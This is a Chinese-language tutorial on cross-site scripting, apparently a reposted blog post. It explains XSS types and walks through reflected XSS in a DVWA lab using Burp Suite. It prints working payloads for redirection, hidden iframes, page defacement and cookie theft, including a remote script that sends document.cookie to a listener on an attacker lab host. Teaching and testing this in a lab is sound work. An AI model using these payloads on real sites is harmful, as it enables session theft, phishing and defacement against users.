美文网首页
二十五、XSS跨站攻击-(1)简介及常见攻击手段

二十五、XSS跨站攻击-(1)简介及常见攻击手段

作者: cybeyond | 来源:发表于2017-10-18 09:14 被阅读0次
                                       目录
    
    1. 攻击WEB客户端
    2. 客户端脚本语言
    3. XSS(cross-site scripting)
    4. 使用场景
    5. 攻击参与方
    6. 漏洞形成的根源
    7. XSS漏洞类型
    8. 反射型XSS实验
      8.1 初试XSS
      8.2 基于html事件类型
      8.2.1 基于<a>标签超链接
      8.2.2 基于<img>网页中链接图片
      8.2.3 重定向
      8.2.4 iframe框架
      8.2.5 盗取cookie
      8.2.6 篡改主页
      8.2.7 一般JavaScript攻击方法

    1.攻击WEB客户端

    之前的内容基本都是针对服务端的,而xss是在客户端作为攻击对象,一般不能实现对客户端的完全控制,尽管其漏洞在服务端;
    VBScript针对微软的浏览器、ActiveX 、Flash、Javascript客户端执行工具/语言。

    2.客户端脚本语言

    • 弹窗告警、广告 //比如输入格式不合格
    • Javascript
    • 在浏览器中执行

    3.XSS(cross-site scripting)

    • 通过WEB站点漏洞,向客户端交付恶意脚本基本代码,实现对客户端的攻击目的
    • 注入客户端脚本代码
    • 盗取cookie
    • 重定向 //本来访问正常站点,但却访问了另一个被黑客伪造的站点,输入了账号、密码
    • 其他客户端脚本:VBScript(仅限于微软自己的浏览器)、ActiveX

    4.使用场景

    • 直接嵌入html:<script>alert('XSS')</script>
    • 元素标签事件:<body onload=alert('XSS')> 页面被加载时执行javascript
    • 图片标签:<img src="(javascritp:alert('XSS');"> //插入一张图片,默认为图片路径,但也可以是js
    • 其他标签:<iframe>、<div>、<link>
    • DOM对象,篡改页面内容 //文本对象模型,是一种标准,通过调用api调用html中的元素、标签

    5.攻击参与方

    • 攻击者
    • 被攻击者
    • 漏洞站点
    • 第三方站点(攻击目标、攻击参与站),比如服务端下发js,众多客户端访问正常的网站,而变向去访问另一个网站,导致ddos

    6.漏洞形成的根源

    • 服务器对用户提交数据过滤不严
    • 提交给服务器的脚本被直接返回给其他客户端执行
    • 脚本在客户端执行恶意操作

    7.XSS漏洞类型

    反射型(非持久):正常情况下,黑客在请求服务器时发送js,服务器由于没有过滤,不执行此代码而是直接立刻返回给黑客的浏览器,此时只是在黑客电脑上执行,不会有什么问题,但如果黑客通过诱使(如邮件)被攻击者点击恶意链接访问,执行了包含的js,服务端原封不动的返回,并在浏览器上执行此js,而可能导致cookie的窃取,被安装键盘记录器等。

    存储型(持久型):JavaScript在服务器端保存,每个客户在请求服务器时,服务端保存的js会返回,并在浏览器中直接执行。
    若向服务器提交的片段中,被服务器原封不动的返回,则很有可能存在XSS漏洞

    DOM型:在本地执行,不去向浏览器去发送请求

    8.反射型XSS实验

    8.1初试XSS

    • 1.首先在DVWA的“xss reflected”中输入一段数据,通过burpsuite截取到是通过get发送请求


      测试是否含有xss漏洞
    请求报文
    • 2.点击“forword”转发后,查看response响应报文,找到提交的“123123123”片段,发现html响应报文中确实存在此数据,并原封不动的在客户端浏览器上显示。


      Paste_Image.png
    显示字段
    • 3.这时如果插入一段JavaScript代码,是不是也会被执行呢?先插入一段html代码试一下:

    输入<a href="http//192.168.1.1">click</a>

    输入执行代码并执行 执行xss代码出现click按钮 点击click后链接到网关地址

    通过查看响应报文,可以看到服务器端收到此代码并返回给浏览器

    响应报文
    上述通过插入一段html代码,然后被浏览器执行,也可以被称为html注入
    结论: 应用程序端对输入的数据类型没有进行校验,不管是数据还是代码都被执行了,对本来应该是数据的,服务器对输入的代码却被执行

    8.2 基于html事件类型

    <script> alert('xss')</script>  //html可以包含JavaScript代码,通过此来验证是否存在xss
    

    8.2.1基于<a>标签超链接

    这回在刚才的插入代码部分,插入一段JavaScript脚本,在上面的输入框中输入<a href='' onclick=alert('xss')>type</a>或使用burpsuite,进行测试

    转换URL编码

    在repeater中,将转换后的URL编码放在name值后面,点击“go”

    插入name值中 响应报文

    效果:输入上述字符后,增加一个“type”按钮,点击后弹出“xss”


    实际效果

    8.2.2基于<img>网页中链接图片

    <img src=http://192.168.50.253/a.jpg onerror=alert('xss')>   
    //当图片来源是错误的时候(内网中不存在50.253的主机),就会产生error,去执行后面的alert
    
    img的src基于error弹出xss

    8.2.3 重定向

    <script>window.location='http://www.baidu.com'</script>
    //恶意攻击者模仿正常用户要访问的页面,当点击访问以为是正常的页面时,重定向到模仿的页面,输入敏感的账号、密码等信息
    
    重定向到百度

    也可以使用nc进行测试,此时客户端被重定向到kali上:


    nc服务端监听

    客户端发送请求:


    客户访问发送请求
    服务端收到被重定向到本机的客户相关信息:
    服务端收到请求信息

    8.2.4 iframe框架

    <iframe SRC="http://192.168.50.115/victim" height = "0" width ="0"></iframe>
    
    iframe 监听结果

    8.2.5 盗取cookie

    <script>new Image().src="http://192.168.50.115/c.php?output="+document.cookie;</script>
    //将被攻击者的cookie信息发送到攻击者手中,通过诱使被攻击者点击此链接
    
    盗取被攻击者cookie

    8.2.6 篡改主页

    此次篡改主页是基于反射型xss,而不是存储型

    <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
    //插入一段html,并显示“this website is under attack”
    
    篡改主页 篡改效果

    8.2.7一般JavaScript攻击方法

    正常情况下,黑客不会向上述那样,发一大段链接给被攻击者去点击,那样的话,如果内容足够多、或者包含一些如cookie字符的话容易被发现。通常会发一个简短的js,然后指向到另一个地址去拿真正的js

    <script src=http://192.168.50.115/a.js></script>  //此段为注入的内容,依赖于第三方服务器,在这用kali本机地址
    

    首先,在本机上的/var/www/html/目录下创建a.js文件,并开启apache正常访问

    var img = new Image();
    img.src = "http://192.168.50.115:88/cookies.php?cookie="+document.cookie;
    

    (1)创建a.js


    创建a.js

    (2)启动apache

    # service apache2 start
    

    (3)访问http://192.168.50.115/a.js正常

    正常访问a.js

    (4) 插入下面代码

    <script src=http://192.168.50.115/a.js></script>
    

    (5)开启监听88端口


    开启监听

    (6)执行,并查看监听结果


    点击执行 获取cookie

    相关文章

      网友评论

          本文标题:二十五、XSS跨站攻击-(1)简介及常见攻击手段

          本文链接:https://www.haomeiwen.com/subject/jblisxtx.html